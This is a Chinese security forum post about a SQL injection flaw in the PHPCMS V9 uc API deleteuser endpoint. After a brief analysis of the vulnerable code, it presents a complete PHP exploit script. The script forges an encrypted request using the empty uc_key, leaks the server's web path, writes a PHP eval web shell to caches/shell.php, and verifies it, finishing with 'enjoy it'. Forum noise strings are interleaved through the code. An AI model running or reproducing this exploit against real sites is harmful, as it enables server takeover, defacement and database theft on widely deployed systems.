找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1798|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。( A+ u' Z1 i* r& A& Y7 r& L
3 \* M- Q- c" j3 U$ O
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。2 I/ o! _( b' Q& F* I$ i9 b6 @

4 p( O! h8 |% c漏洞分析:! E& h" ~2 ^- G8 A2 d
1.未启用ucenter服务的情况下uc_key为空4 i# I. s2 y' u& {; v6 ~! i3 o
define('UC_KEY', pc_base::load_config('system', 'uc_key'));
" V6 n" p) a9 ~7 L. l$ i& m2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
* h9 w: l& ^1 {  M% I, [    public function deleteuser($get,$post) {' C( \/ {5 [' t  _4 p: U: N
        pc_base::load_app_func('global', 'admin');
* H. Q* i0 E. }, ^1 O9 N        pc_base::load_app_class('messagequeue', 'admin' , 0);! Q6 z* ^& q7 @/ Y8 @
        $ids = new_stripslashes($get['ids']);
! j' ~; `$ ]- `, q1 [        $s = $this->member_db->select("ucuserid in ($ids)", "uid");8 x! s5 e' R3 e- a0 y
SQL语句为! h1 [+ P8 X4 J  j( u
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
: k8 ^0 }, `- D- @" r7 @; z8 p* x/ h  g, w% T0 Y( P
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell  Q6 S; r- D1 ^$ b! t
<?php0 l$ A" i6 f) \0 B# z, M( j3 F
print_r('% w1 z9 c& X! Y" X
---------------------------------------------------------------------------
; X1 ]' z4 l) R% o0 s1 kPHPcms (v9 or Old Version) uc api sql injection 0day
1 d& G' ~9 c6 e6 U# |; Qby rayh4c#80sec.com0 h7 Q( f5 e6 `6 P! {
---------------------------------------------------------------------------
7 f6 ?; ^; t' R% c+ h+ u' k');- c/ A5 j5 G1 h1 ]( u
: |# ?8 h7 C7 c& u0 Z5 w7 e3 q
if ($argc<3) {
; D* ^+ ?1 F: ~, X/ L    print_r('' h1 _) h& {* x) S" w4 S
---------------------------------------------------------------------------
5 I  H1 r( Y4 X$ W: A' V* BUsage: php '.$argv[0].' host path OPTIONS
7 M0 ]8 E8 G4 }. Khost:      target server (ip/hostname)
4 M  b3 c# M3 r; Vpath:      path to phpcms3 L/ S/ J  w/ k1 {" T' L6 Y
Options:
% D0 ^' R5 c! [6 c -p[port]:    specify a port other than 80
* s- E" e& k, [; n -P[ip:port]: specify a proxy1 {7 `/ I5 c5 K  i
Example:" v$ t: r+ r, b: A& K, p
php '.$argv[0].' localhost /! }9 G$ H6 h3 [( W
php '.$argv[0].' localhost /phpcms/ -p81. y1 E2 R6 f' v  Z  k# m
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80/ g7 L* k9 |  m5 q! J; ~9 s: X
---------------------------------------------------------------------------* F( B2 U. S2 V, e. F0 A/ h
');; p  q9 d4 ~+ U' r6 M
    die;' f# r8 s' `' \! v& {: w
}
! g0 a: L5 Q  ~  {5 q: _9 f/ u8 N; O
error_reporting(7);
4 |6 }1 a, q+ [- cini_set("max_execution_time",0);
: C% _& c) q" ^ini_set("default_socket_timeout",5);
0 D  B3 H8 T9 u7 h+ V; r
( |1 M% c. _! P0 p' L) G* q$ a0 gfunction quick_dump($string)
/ Z6 ^( {: ?- K. i" w1 T2 {/ @3 o{
) e% q3 }8 z5 k  $result='';$exa='';$cont=0;
) Y. K$ z& j9 t3 R  C  for ($i=0; $i<=strlen($string)-1; $i++)! f2 i( z( f" P. R: L9 h8 Y
  {
5 C  z# C7 T0 G( ]. z1 e/ [   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
* i6 W+ \9 e) p: L! `   {$result.="  .";}' }6 Y% T7 L# f
   else) Y/ q# w; n' o* o( x6 u
   {$result.="  ".$string[$i];}
6 n3 _) T% v3 K5 u, ?3 D* i   if (strlen(dechex(ord($string[$i])))==2)1 Z$ Z/ l! g7 J
   {$exa.=" ".dechex(ord($string[$i]));}# E: J3 j7 u& r% x5 s$ B% X/ o, h
   else
. {- q( H. w7 A   {$exa.=" 0".dechex(ord($string[$i]));}" z  [4 B0 n( e% j; E( H  S+ g5 X6 b
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}( _* b% c& [) e  w( m$ ]' `
  }/ T6 u0 Y1 m% [) W! O9 _
return $exa."\r\n".$result;
3 p7 K$ K0 c3 w6 E}
4 _/ v4 b! D* h. B0 r$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
9 j$ `& l* H( g
" K4 w) Q( q+ p: l& ifunction send($packet)
3 T' H! `( F" e1 h% R7 Z8 ]{
$ [" L; m$ s& l( y, R# I: b/ c  Q  global $proxy, $host, $port, $html, $proxy_regex;) H0 Z: a  v0 A3 J0 |( ?  K$ i$ X2 O
  if ($proxy=='') {9 Y6 j. e2 f- [' x. U+ W
    $ock=fsockopen(gethostbyname($host),$port);& g1 \+ N: F% V  y7 @" [% A
    if (!$ock) {
4 W0 X& v. [2 e8 Y4 l0 [% \      echo 'No response from '.$host.':'.$port; die;
- J9 f  }4 |6 {: P1 i# n    }
, N' T; n* a" a, V- E  }) p" a) c; F& M1 ?" G# ~8 ?
  else {
, d' S4 @) f; M) X! _        $c = preg_match($proxy_regex,$proxy);0 X: F! r8 O9 |* F
    if (!$c) {7 C1 K9 o* Y  x$ }1 N7 v1 F; a
      echo 'Not a valid proxy...';die;* G+ q/ U# Y+ o' u" k0 r! n* E
    }
& j; m& U+ H0 m7 Z2 U# L    $parts=explode(':',$proxy);
; ~* Q! E, Z+ O1 X) `% ^    $parts[1]=(int)$parts[1];9 ?& P% ^8 Y' f3 F1 C
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";; c3 A! C0 a/ r) _1 ~- I; b
    $ock=fsockopen($parts[0],$parts[1]);2 ~+ n' r8 M9 W; @& F4 k
    if (!$ock) {
4 w% O) U! ^* x% ?9 P0 O      echo 'No response from proxy...';die;
9 \* d( i" H+ G6 `; x        }; x# C7 C) p$ B
  }9 ]0 P  w. r4 g3 O8 v. s
  fputs($ock,$packet);
- F; [. C$ y8 `+ b: ^  if ($proxy=='') {
4 X6 \1 }: \2 R  \; S5 l% H    $html='';
+ K, ?7 G; N' y; S- @4 x    while (!feof($ock)) {
: o& c# i1 U( A8 ^; g      $html.=fgets($ock);7 p' [& C$ {& w7 g. j
    }2 ^1 k  @. ]% W5 V/ o7 |# ^- A
  }+ |8 L6 Z# Y2 h
  else {7 K. ~4 A# O: W8 Y
    $html='';
8 K/ J, g5 f8 R  W; i    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
, b* ?: p/ i" k" }      $html.=fread($ock,1);
2 p4 M& p. z( n    }; a+ T/ c  E+ {3 h
  }
7 {3 V' V  A8 L9 W# s: ?7 ^  fclose($ock);. A$ R4 I6 X7 ~
}- y" M( M& p/ h, @
! ^% P  Z3 W& p% o' c
$host=$argv[1];% G2 ^6 L7 w  V1 G
$path=$argv[2];% e3 |" _( F0 H$ r4 \* T" F
$port=80;7 H+ y; f2 e0 K- e% U+ }+ m6 N& @
$proxy="";
0 t2 @; J, B0 d1 o( f8 efor ($i=3; $i<$argc; $i++){, i- M  C2 s. ^1 S; M
$temp=$argv[$i][0].$argv[$i][1];
& }1 T7 n; O2 n8 Rif ($temp=="-p")  b( \, ^3 @, u# T/ a
{
' P& z6 s  n0 d- J& E  $port=(int)str_replace("-p","",$argv[$i]);9 K. S/ R* J3 P" Y7 @/ J9 B. B
}
! i7 y! ~6 g/ F: t' N7 S- Xif ($temp=="-P")
, y& H, r' [5 F1 D{
! `/ B6 ?1 _2 z; a5 C& C% I  $proxy=str_replace("-P","",$argv[$i]);
$ c! ~% w* K8 s' b}' E9 s' K. V$ z; J8 n9 f6 H3 f
}! k4 c9 j5 [! |
. ]# l. Y2 H% {' f! ~
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
5 z5 H+ w2 t  Y( m$ bif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}) I6 l3 t1 M: l" j5 d

: m6 E4 t( i+ q* ~) }) Zfunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
7 m. A$ j' z% i" r
- j: Y+ I1 M0 e/ I) ?4 o, t    $ckey_length = 4;
9 X6 l0 ~2 ]5 a* ?
9 y8 D/ _! ~* e2 \$ q5 `    $key = md5($key ? $key : '');
4 B$ Q" E; D: ~& W1 }    $keya = md5(substr($key, 0, 16));
* F# [! i$ z' o    $keyb = md5(substr($key, 16, 16));
: _1 @( s# k+ u% W    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';/ M7 z+ z0 P+ u! ]1 e7 _

# p, [1 y& U. K; j    $cryptkey = $keya.md5($keya.$keyc);& V' q/ _" n' f
    $key_length = strlen($cryptkey);# D( F5 L: ]# ~1 @3 P1 E
- p; R+ O3 y4 n6 H
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
% U/ m: H+ q) R% B: r1 S    $string_length = strlen($string);0 U, E" H0 ]$ e  C8 s

. Q$ N5 E/ W% ^3 q    $result = '';
7 D& |  }! [; L0 s$ I* \    $box = range(0, 255);
# `; T. B/ U7 u3 z6 r: r1 w/ R$ O* S5 v7 o/ O  L& C0 ]! S% d9 [
    $rndkey = array();+ L# G. ?  A. J& l) k
    for($i = 0; $i <= 255; $i++) {
- J0 ?% i+ \9 D% ~$ j- v. x8 v        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
! \5 a3 R6 X1 O  P: Q+ t" y7 q    }' ^" R) m; }6 B( m+ @4 y. C1 W

( \; O% e4 t7 n  I9 U: Q/ P    for($j = $i = 0; $i < 256; $i++) {
* x) ?2 F/ s! x6 s0 \        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
5 L  ]/ W* Y% t8 d: c1 W0 N        $tmp = $box[$i];
% i* k' d4 I7 ~0 n  i$ Q, y* S- }! Y        $box[$i] = $box[$j];
$ }6 {; ?/ n6 v) M' M" ]        $box[$j] = $tmp;, K* {% U3 h) N) m5 K
    }
' t, V0 C  _, J# O( K7 ]8 c9 d4 j$ o( W3 T' G) x
    for($a = $j = $i = 0; $i < $string_length; $i++) {# g1 h6 \( `/ d) d, d% c; u- I4 b
        $a = ($a + 1) % 256;; E( h3 b: h' e' B7 U. t! R$ S  B
        $j = ($j + $box[$a]) % 256;
7 Q5 [8 C1 }# f& }" \6 v; [' S: s        $tmp = $box[$a];7 u; d3 n9 R2 o! h- h* p
        $box[$a] = $box[$j];
5 e; R: T* ?( B! e, p7 r        $box[$j] = $tmp;, r+ C# L( X5 r  N( m  g" q
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
, v3 r2 b* d& R& t- i. \4 [4 \    }
0 h" U3 {( V% g4 j) N
0 G4 v* C( f8 u+ E! b) E$ f9 O. h    if($operation == 'DECODE') {1 Y' |9 x9 I, P8 _& x; k" C& c
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
: g% z) H0 Q! \3 ]; q            return substr($result, 26);1 W, B) G+ N- L4 }* o
        } else {
$ O- |( r1 l* g# |            return '';
2 E% u& ]" k" y4 b$ k$ ~: ^        }3 H; T* \: J: s4 w
    } else {* S) N( Q8 b( r- d  D
        return $keyc.str_replace('=', '', base64_encode($result));
, N+ `- |  O& S; P    }, X8 U: I- _1 ^0 @- U9 u# @+ {

1 `3 e' b5 {. G: a4 N* @}
4 l+ c# X; t! m9 _" x) t% E1 g2 o& T6 D* L  ?# S, C( V
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
+ p. Z( ?0 I" a; D$SQL = urlencode(authcode($SQL, "ENCODE", ""));7 b: J- ?# R7 x. a" z; X3 w" o
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";6 A* M2 I# y8 s. \# b) c0 O
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";  n3 c# n9 ]4 n$ Q+ Q- C
$packet.="User-Agent: Mozilla/5.0\r\n";
+ ?$ e. r4 ^8 H3 o) K7 j0 F$ c! |/ x$packet.="Host: ".$host."\r\n";
3 i3 p4 E. _0 D% f% i0 j$packet.="Connection: Close\r\n\r\n";
) b" v% N5 h8 @. x/ \  \% `send($packet);
: W4 r9 f/ w2 {/ lif(strpos($html,"MySQL Errno") > 0){
- N# V' U$ ^  D: n( Pecho "[2] 发现存在SQL注入漏洞"."\n";# z3 R5 g* b6 k  u% r" m; I) y; q
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";3 |) `! g' I2 R. ]# y' h
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
' A  g5 Y0 l* ~( ^, ^/ M$packet.="User-Agent: Mozilla/5.0\r\n";
! g. g* d7 e  }" C9 ]$packet.="Host: ".$host."\r\n";
$ K3 o) B3 \' y* n8 {2 F6 S$packet.="Connection: Close\r\n\r\n";1 F# F- q3 K' G5 Y" W& w! a8 y
send($packet);( [. g" M3 K" m* ]3 |+ ]* u5 \
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
" R6 ?* Y4 q: T3 B' E) U//print_r($matches);
& L3 h( a: G4 oif(!empty($matches)){! x& I5 B) ?  l. _7 |
echo "[4] 得到web路径 " . $matches[0]."\n";
% k0 W8 e$ E$ D1 L/ M2 ^9 `* b3 U  techo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";* i. f$ g* u9 Z$ e- @) ]$ ?
$SQL = "time=999999999999999999999999&ids=1)";, G8 g9 s0 V7 }/ ^: Q, p
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";) y) U9 V/ Y6 G3 A- Z% z; @
$SQL.="&action=deleteuser";9 d' t- L* f5 w/ R3 o
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
$ R' a- C  _) C' L4 k. }# E. |" yecho "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
/ `0 x2 x1 b, C& S: }; l2 P" y$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";5 z# z+ d' z, r! d" O$ I6 D( I1 g/ d
$packet.="User-Agent: Mozilla/5.0\r\n";
# z3 d, `& F1 \* I3 q$packet.="Host: ".$host."\r\n";* {9 \: r9 N* p
$packet.="Connection: Close\r\n\r\n";
  h; q2 k/ F+ nsend($packet);- b1 D/ w+ L) Z, ~
if(strpos($html,"Access denied") > 0){  i% U& \2 n! V) A
echo "[-] MYSQL权限过低 禁止写入文件 ";0 O: Z7 W/ |" b' l$ D9 v: R' J) A6 I6 u
die;5 A& y  O" i0 e1 ^8 E3 }' K- L
}" ]: X9 V$ u" {9 l$ w
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";! e% |, H3 K0 K
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";8 x% q& ^+ A/ a1 l5 t, u
$packet.="User-Agent: Mozilla/5.0\r\n";9 k" \% R7 i% g% h* R* l6 d
$packet.="Host: ".$host."\r\n";% `" g! V( n( M
$packet.="Connection: Close\r\n\r\n";
5 ~, Q6 {* [( Z0 _send($packet);
& ~5 v* s. l9 `4 p+ lif(strpos($html,"<title>phpinfo()</title>") > 0){
, ~$ _$ Z; |2 x! O, Recho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
' R" b' ?! y" O7 Y* @* K}- S0 ^# C1 b  U+ y
}else{
5 ~" H4 m4 l0 A8 H5 e9 recho "[-]未取到web路径 ";
, q, G( n8 M- O$ K/ s}/ g0 o+ I/ {- j
}else{) T, p4 V6 {5 O( e" K
echo "[*]不存在SQL注入漏洞"."\n";6 E' v6 s& V. d+ r0 E6 x
}0 |: x: [1 t/ E2 P/ m6 C( d

4 n* i* _  D# ?' ]6 b9 g8 f2 G?>6 Y- p( _8 I% g) _6 ?0 u
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表